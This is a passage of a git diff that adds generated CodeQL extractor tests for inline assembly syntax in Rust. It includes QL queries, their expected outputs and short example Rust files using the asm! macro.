a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected @@ -0,0 +1,2 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:39:7:47 | AsmOperandNamed | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 1 | gen_asm_expr.rs:7:50:7:58 | AsmOperandNamed | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected index e69de29bb2d..1e857299755 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected @@ -0,0 +1 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:6:9:6:25 | Attr | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected index 8957e7fb6d0..fa3414743e9 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | 0 | gen_asm_expr.rs:6:23:6:23 | _ | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:23:7:36 | "cmp {0}, {1}" | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs index cfd6896e2f8..b9c0766c54a 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs @@ -3,6 +3,7 @@ fn test_asm_expr() -> () { // An inline assembly expression. For example: unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } } diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected similarity index 100% rename from rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected rename to rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql new file mode 100644 index 00000000000..fd81bc1820a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x, string hasBlockExpr +where + toBeTested(x) and + not x.isUnknown() and + if x.hasBlockExpr() then hasBlockExpr = "yes" else hasBlockExpr = "no" +select x, "hasBlockExpr:", hasBlockExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql new file mode 100644 index 00000000000..910efd74be1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x +where toBeTested(x) and not x.isUnknown() +select x, x.getBlockExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs new file mode 100644 index 00000000000..d9cc2be296c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs @@ -0,0 +1,13 @@ +// generated by codegen, do not edit + +fn test_asm_label() -> () { + // A label in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected new file mode 100644 index 00000000000..f7101833911 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql new file mode 100644 index 00000000000..b7ccc0b5722 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x, string hasInExpr, string hasOutExpr +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasInExpr() then hasInExpr = "yes" else hasInExpr = "no") and + if x.hasOutExpr() then hasOutExpr = "yes" else hasOutExpr = "no" +select x, "hasInExpr:", hasInExpr, "hasOutExpr:", hasOutExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected new file mode 100644 index 00000000000..642838b0ef3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql new file mode 100644 index 00000000000..95aec8cc53d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getInExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected new file mode 100644 index 00000000000..642838b0ef3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql new file mode 100644 index 00000000000..a137533938a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getOutExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs new file mode 100644 index 00000000000..e7c9af1bfbe --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_operand_expr() -> () { + // An operand expression in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected new file mode 100644 index 00000000000..4f8c21cb7ef --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | no | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql new file mode 100644 index 00000000000..7cb204f6b9e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x, string hasAsmOperand, string hasName +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmOperand() then hasAsmOperand = "yes" else hasAsmOperand = "no") and + if x.hasName() then hasName = "yes" else hasName = "no" +select x, "hasAsmOperand:", hasAsmOperand, "hasName:", hasName diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected new file mode 100644 index 00000000000..8e008a44f8a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | gen_asm_operand_named.rs:8:34:8:43 | AsmRegOperand | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:54:8:62 | AsmRegOperand | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql new file mode 100644 index 00000000000..c3cd36b2ac5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperand() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected new file mode 100644 index 00000000000..aad90d4b5e8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected @@ -0,0 +1 @@ +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:46:8:50 | input | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql new file mode 100644 index 00000000000..a8b856ffaa8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getName() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs new file mode 100644 index 00000000000..1739d575b60 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_operand_named() -> () { + // A named operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected new file mode 100644 index 00000000000..ddd5bc880b9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_option.rs:8:22:8:28 | AsmOption | isRaw: | no | +| gen_asm_option.rs:8:31:8:35 | AsmOption | isRaw: | no | diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql new file mode 100644 index 00000000000..c9e3997ed42 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOption x, string isRaw +where + toBeTested(x) and + not x.isUnknown() and + if x.isRaw() then isRaw = "yes" else isRaw = "no" +select x, "isRaw:", isRaw diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs new file mode 100644 index 00000000000..d95addaa868 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_option() -> () { + // An option in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected new file mode 100644 index 00000000000..692d66164f8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected @@ -0,0 +1 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | getNumberOfAsmOptions: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql new file mode 100644 index 00000000000..77790bb8506 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int getNumberOfAsmOptions +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfAsmOptions = x.getNumberOfAsmOptions() +select x, "getNumberOfAsmOptions:", getNumberOfAsmOptions diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected new file mode 100644 index 00000000000..f159de9080e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 0 | gen_asm_options_list.rs:8:22:8:28 | AsmOption | +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 1 | gen_asm_options_list.rs:8:31:8:35 | AsmOption | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql new file mode 100644 index 00000000000..06f2ba54b6e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getAsmOption(index) diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs new file mode 100644 index 00000000000..5f7a048f819 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_options_list() -> () { + // A list of options in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected new file mode 100644 index 00000000000..c9eca662143 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql new file mode 100644 index 00000000000..05685f3d994 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql @@ -0,0 +1,13 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x, string hasAsmDirSpec, string hasAsmOperandExpr, string hasAsmRegSpec +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmDirSpec() then hasAsmDirSpec = "yes" else hasAsmDirSpec = "no") and + (if x.hasAsmOperandExpr() then hasAsmOperandExpr = "yes" else hasAsmOperandExpr = "no") and + if x.hasAsmRegSpec() then hasAsmRegSpec = "yes" else hasAsmRegSpec = "no" +select x, "hasAsmDirSpec:", hasAsmDirSpec, "hasAsmOperandExpr:", hasAsmOperandExpr, + "hasAsmRegSpec:", hasAsmRegSpec diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected new file mode 100644 index 00000000000..e47c650ada0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:26:8:28 | AsmDirSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:38:8:39 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql new file mode 100644 index 00000000000..5542617aea6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmDirSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected new file mode 100644 index 00000000000..c43a8ca1443 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:35:8:35 | AsmOperandExpr | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:46:8:46 | AsmOperandExpr | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql new file mode 100644 index 00000000000..bcda631ef9d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperandExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected new file mode 100644 index 00000000000..b1da1a4d1d4 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:30:8:32 | AsmRegSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:41:8:43 | AsmRegSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql new file mode 100644 index 00000000000..aaf03f13212 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmRegSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs new file mode 100644 index 00000000000..530ee125a9b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_reg_operand() -> () { + // A register operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected new file mode 100644 index 00000000000..0ecd2dfbdf8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_spec.rs:8:30:8:34 | AsmRegSpec | hasIdentifier: | no | +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | hasIdentifier: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql new file mode 100644 index 00000000000..5fce70e50f9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x, string hasIdentifier +where + toBeTested(x) and + not x.isUnknown() and + if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no" +select x, "hasIdentifier:", hasIdentifier diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected new file mode 100644 index 00000000000..d40d67cb6a7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected @@ -0,0 +1 @@ +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | gen_asm_reg_spec.rs:8:43:8:45 | EBX | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql new file mode 100644 index 00000000000..3fe54bd3697 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x +where toBeTested(x) and not x.isUnknown() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs new file mode 100644 index 00000000000..a25799476c8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_reg_spec() -> () { + // A register specification in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected new file mode 100644 index 00000000000..664c70d06ba --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | hasPath: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql new file mode 100644 index 00000000000..e7841f07f68 --- /dev/null +++ 